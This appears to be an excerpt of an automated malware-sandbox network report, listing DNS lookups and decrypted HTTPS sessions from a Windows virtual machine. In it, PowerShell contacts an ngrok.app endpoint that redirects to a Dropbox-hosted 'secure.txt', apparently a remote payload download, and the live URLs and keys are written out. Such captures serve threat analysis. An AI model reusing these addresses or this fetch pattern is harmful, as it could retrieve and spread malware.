Dec 17, 2024 12:13:27.376332998 CET	192.168.2.6	1.1.1.1	0xb9ed	Standard query (0)	uce3c54e35182400e51e3fa58109.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:27.376497030 CET	192.168.2.6	1.1.1.1	0x5c4f	Standard query (0)	uce3c54e35182400e51e3fa58109.dl.dropboxusercontent.com	65	IN (0x0001)	false
Dec 17, 2024 12:13:27.460722923 CET	192.168.2.6	1.1.1.1	0xe60a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:27.460894108 CET	192.168.2.6	1.1.1.1	0x7ae6	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 17, 2024 12:13:27.461193085 CET	192.168.2.6	1.1.1.1	0xd099	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:27.461308956 CET	192.168.2.6	1.1.1.1	0xdc9f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 17, 2024 12:13:27.477400064 CET	192.168.2.6	1.1.1.1	0x26d9	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:27.477582932 CET	192.168.2.6	1.1.1.1	0xc05a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 17, 2024 12:13:27.764776945 CET	192.168.2.6	1.1.1.1	0x711d	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:27.765384912 CET	192.168.2.6	1.1.1.1	0x78ec	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Dec 17, 2024 12:13:32.341391087 CET	192.168.2.6	1.1.1.1	0x8820	Standard query (0)	uc1034d83fd6399ddbee4d449af7.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:39.561425924 CET	192.168.2.6	1.1.1.1	0x97be	Standard query (0)	uc933af44167adf8e757221e8737.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:20.845066071 CET	192.168.2.6	1.1.1.1	0x27f	Standard query (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:52.100739002 CET	192.168.2.6	1.1.1.1	0x2b8e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:52.100888968 CET	192.168.2.6	1.1.1.1	0xae15	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 12:13:08.503978014 CET	1.1.1.1	192.168.2.6	0xad38	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		3.125.102.39	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:08.503978014 CET	1.1.1.1	192.168.2.6	0xad38	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		18.192.31.165	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:08.503978014 CET	1.1.1.1	192.168.2.6	0xad38	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		3.125.209.94	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:08.503978014 CET	1.1.1.1	192.168.2.6	0xad38	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		3.124.142.205	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:08.503978014 CET	1.1.1.1	192.168.2.6	0xad38	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		18.158.249.75	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:08.503978014 CET	1.1.1.1	192.168.2.6	0xad38	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		3.125.223.134	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:12.480568886 CET	1.1.1.1	192.168.2.6	0xfe14	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:13:12.480568886 CET	1.1.1.1	192.168.2.6	0xfe14	No error (0)	www-env.dropbox-dns.com		162.125.65.18	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:15.305872917 CET	1.1.1.1	192.168.2.6	0x79c7	No error (0)	uc88dd81bef3ddd9b68bab4679e2.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:13:15.305872917 CET	1.1.1.1	192.168.2.6	0x79c7	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:24.108902931 CET	1.1.1.1	192.168.2.6	0xb6df	No error (0)	uca4ebdf238aad81e4af13a776f0.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:13:24.108902931 CET	1.1.1.1	192.168.2.6	0xb6df	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:24.885901928 CET	1.1.1.1	192.168.2.6	0xdfaa	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:13:24.885901928 CET	1.1.1.1	192.168.2.6	0xdfaa	No error (0)	www-env.dropbox-dns.com		162.125.65.18	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:25.024202108 CET	1.1.1.1	192.168.2.6	0xeac8	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:13:25.204785109 CET	1.1.1.1	192.168.2.6	0x8802	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:13:25.222532988 CET	1.1.1.1	192.168.2.6	0x8ccc	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:13:25.222532988 CET	1.1.1.1	192.168.2.6	0x8ccc	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:27.195055008 CET	1.1.1.1	192.168.2.6	0x88f	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:13:27.286643028 CET	1.1.1.1	192.168.2.6	0x986	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:13:27.597953081 CET	1.1.1.1	192.168.2.6	0xe60a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:27.597953081 CET	1.1.1.1	192.168.2.6	0xe60a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:27.598294020 CET	1.1.1.1	192.168.2.6	0xd099	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:27.598294020 CET	1.1.1.1	192.168.2.6	0xd099	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:27.598355055 CET	1.1.1.1	192.168.2.6	0xdc9f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 17, 2024 12:13:27.598366976 CET	1.1.1.1	192.168.2.6	0x7ae6	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 17, 2024 12:13:27.614531994 CET	1.1.1.1	192.168.2.6	0xc05a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 17, 2024 12:13:27.616662025 CET	1.1.1.1	192.168.2.6	0x26d9	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:27.616662025 CET	1.1.1.1	192.168.2.6	0x26d9	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:27.667198896 CET	1.1.1.1	192.168.2.6	0x4601	No error (0)	uce3c54e35182400e51e3fa58109.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:13:27.667198896 CET	1.1.1.1	192.168.2.6	0x4601	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:27.667212009 CET	1.1.1.1	192.168.2.6	0xb9ed	No error (0)	uce3c54e35182400e51e3fa58109.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:13:27.667212009 CET	1.1.1.1	192.168.2.6	0xb9ed	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:27.671060085 CET	1.1.1.1	192.168.2.6	0x5c4f	No error (0)	uce3c54e35182400e51e3fa58109.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:13:27.901990891 CET	1.1.1.1	192.168.2.6	0x711d	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:13:27.901990891 CET	1.1.1.1	192.168.2.6	0x711d	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:28.001481056 CET	1.1.1.1	192.168.2.6	0x78ec	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:13:32.647690058 CET	1.1.1.1	192.168.2.6	0x8820	No error (0)	uc1034d83fd6399ddbee4d449af7.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:13:32.647690058 CET	1.1.1.1	192.168.2.6	0x8820	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:39.834861994 CET	1.1.1.1	192.168.2.6	0x97be	No error (0)	uc933af44167adf8e757221e8737.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:13:39.834861994 CET	1.1.1.1	192.168.2.6	0x97be	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.65.15	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:21.129993916 CET	1.1.1.1	192.168.2.6	0x27f	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		3.125.209.94	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:21.129993916 CET	1.1.1.1	192.168.2.6	0x27f	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		3.125.102.39	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:21.129993916 CET	1.1.1.1	192.168.2.6	0x27f	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		3.125.223.134	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:21.129993916 CET	1.1.1.1	192.168.2.6	0x27f	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		3.124.142.205	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:21.129993916 CET	1.1.1.1	192.168.2.6	0x27f	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		18.158.249.75	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:21.129993916 CET	1.1.1.1	192.168.2.6	0x27f	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		18.192.31.165	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:26.862219095 CET	1.1.1.1	192.168.2.6	0xf2db	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:26.862219095 CET	1.1.1.1	192.168.2.6	0xf2db	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:27.879355907 CET	1.1.1.1	192.168.2.6	0xf2db	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:27.879355907 CET	1.1.1.1	192.168.2.6	0xf2db	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:28.995887041 CET	1.1.1.1	192.168.2.6	0xf2db	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:28.995887041 CET	1.1.1.1	192.168.2.6	0xf2db	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:31.017082930 CET	1.1.1.1	192.168.2.6	0xf2db	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:31.017082930 CET	1.1.1.1	192.168.2.6	0xf2db	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:34.936184883 CET	1.1.1.1	192.168.2.6	0xf2db	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:34.936184883 CET	1.1.1.1	192.168.2.6	0xf2db	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:52.237833977 CET	1.1.1.1	192.168.2.6	0x2b8e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:52.237833977 CET	1.1.1.1	192.168.2.6	0x2b8e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:14:52.330451965 CET	1.1.1.1	192.168.2.6	0xae15	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49713	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:05 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 32 7a 79 65 37 70 4c 44 35 45 75 4b 74 67 76 67 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 32 36 37 65 32 31 32 37 65 36 39 66 61 38 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 2zye7pLD5EuKtgvg.1Context: 1267e2127e69fa88
2024-12-17 11:13:05 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-17 11:13:05 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 32 7a 79 65 37 70 4c 44 35 45 75 4b 74 67 76 67 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 32 36 37 65 32 31 32 37 65 36 39 66 61 38 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 65 69 75 6a 4a 42 37 43 41 4a 73 4d 6c 42 46 51 69 41 32 67 55 70 45 62 5a 56 32 2f 6b 4c 76 79 56 6d 57 68 37 2f 6e 4b 52 4e 52 30 42 59 42 51 66 69 5a 6e 4c 63 79 6d 39 64 62 56 73 68 6b 58 2f 4f 49 46 4b 57 56 70 57 79 52 32 67 4c 4f 67 5a 63 33 65 41 6a 79 74 34 6f 4f 57 65 6a 68 4c 55 4e 47 42 57 58 69 30 58 77 56 77 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 2zye7pLD5EuKtgvg.2Context: 1267e2127e69fa88<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATeiujJB7CAJsMlBFQiA2gUpEbZV2/kLvyVmWh7/nKRNR0BYBQfiZnLcym9dbVshkX/OIFKWVpWyR2gLOgZc3eAjyt4oOWejhLUNGBWXi0XwVw
2024-12-17 11:13:05 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 32 7a 79 65 37 70 4c 44 35 45 75 4b 74 67 76 67 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 32 36 37 65 32 31 32 37 65 36 39 66 61 38 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 2zye7pLD5EuKtgvg.3Context: 1267e2127e69fa88<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-17 11:13:06 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-17 11:13:06 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 79 43 41 39 6c 4c 79 68 42 6b 65 48 39 78 71 55 42 43 66 57 58 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: yCA9lLyhBkeH9xqUBCfWXA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49715	3.125.102.39	443	2276	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:09 UTC	230	OUT	GET /api/secure/a53f93d43005d4ee2fadb95063c82fef HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app Connection: Keep-Alive
2024-12-17 11:13:12 UTC	321	IN	HTTP/1.1 302 Found Access-Control-Allow-Origin: * Content-Length: 395 Content-Type: text/html; charset=utf-8 Date: Tue, 17 Dec 2024 11:13:11 GMT Location: https://www.dropbox.com/scl/fi/83q63btw5qkh1rianv0ef/secure.txt?rlkey=wnom2qukb53o8e012p0s74aka&dl=1 Server: Werkzeug/3.0.3 Python/3.12.8 Connection: close
2024-12-17 11:13:12 UTC	395	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 73 68 6f 75 6c 64 20 62 65 20 72 65 64 69 72 65 63 74 65 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 74 6f 20 74 68 65 20 74 61 72 67 65 74 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 73 63 6c 2f 66 69 2f 38 33 71 36 33 62 74 77 35 71 6b 68 31 72 69 61 6e 76 30 65 66 2f 73 65 63 75 72 65 2e 74 78 74 3f 72 6c 6b 65 79 3d 77 6e 6f 6d 32 71 75 6b 62 35 33 6f 38 65 30 31 32 70 30 73 37 34 61 6b 61 26 61 6d 70 3b Data Ascii: <!doctype html><html lang=en><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be redirected automatically to the target URL: <a href="https://www.dropbox.com/scl/fi/83q63btw5qkh1rianv0ef/secure.txt?rlkey=wnom2qukb53o8e012p0s74aka&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49725	162.125.65.18	443	2276	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:13 UTC	236	OUT	GET /scl/fi/83q63btw5qkh1rianv0ef/secure.txt?rlkey=wnom2qukb53o8e012p0s74aka&dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.dropbox.com Connection: Keep-Alive
2024-12-17 11:13:14 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; frame-ancestors 'self' https://.dropbox.com ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; img-src https://* data: blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; font-src https://* data: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/r [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uc88dd81bef3ddd9b68bab4679e2.dl.dropboxusercontent.com/cd/0/get/CgZa4hwIaWEnXA11CbjDdjfbBYoEA_SVtbFjmGzqltZsI2BjD-7Jf0F9ji9Ah8Wr84nX_5wS-eFydMu2ZuAyaj9Hbyjzn71UFb4n12kqqs7WPko9RUoDKIz9E65E_5csVdaWtMGk6Jfv6vK7G3Y5FPzB/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MzA2Nzg3NDMwMTU2MzE2OTQyNDYzNDMwOTEyMzAwODgwMjAwNzI3; Path=/; Expires=Sun, 16 Dec 2029 11:13:14 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=e9sAxoVJKw37i9cCXFz-VA_S; Path=/; Domain=dropbox.com; Expires=Wed, 17 Dec 2025 11:13:14 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=e9sAxoVJKw37i9cCXFz-VA_S; Path=/; Expires=Wed, 17 Dec 2025 11:13:14 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=qe2BBofD24; Path=/; Expires=Wed, 17 Dec 2025 11:13:14 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Sun, 16 Dec 2029 11:13:14 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Tue, 17 Dec 2024 11:13:14 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: af59067eadaf4d9e9c9afdc15136c8d1 Connection: close
2024-12-17 11:13:14 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49731	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:16 UTC	375	OUT	GET /th?id=OADD2.10239354491532_17IT0YRW2RNM8C8YH&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-17 11:13:16 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 500116 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F77352B23F77476990CD71E6892A5E36 Ref B: EWR30EDGE0822 Ref C: 2024-12-17T11:13:16Z Date: Tue, 17 Dec 2024 11:13:15 GMT Connection: close
2024-12-17 11:13:16 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 30 31 3a 33 33 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:01:338C
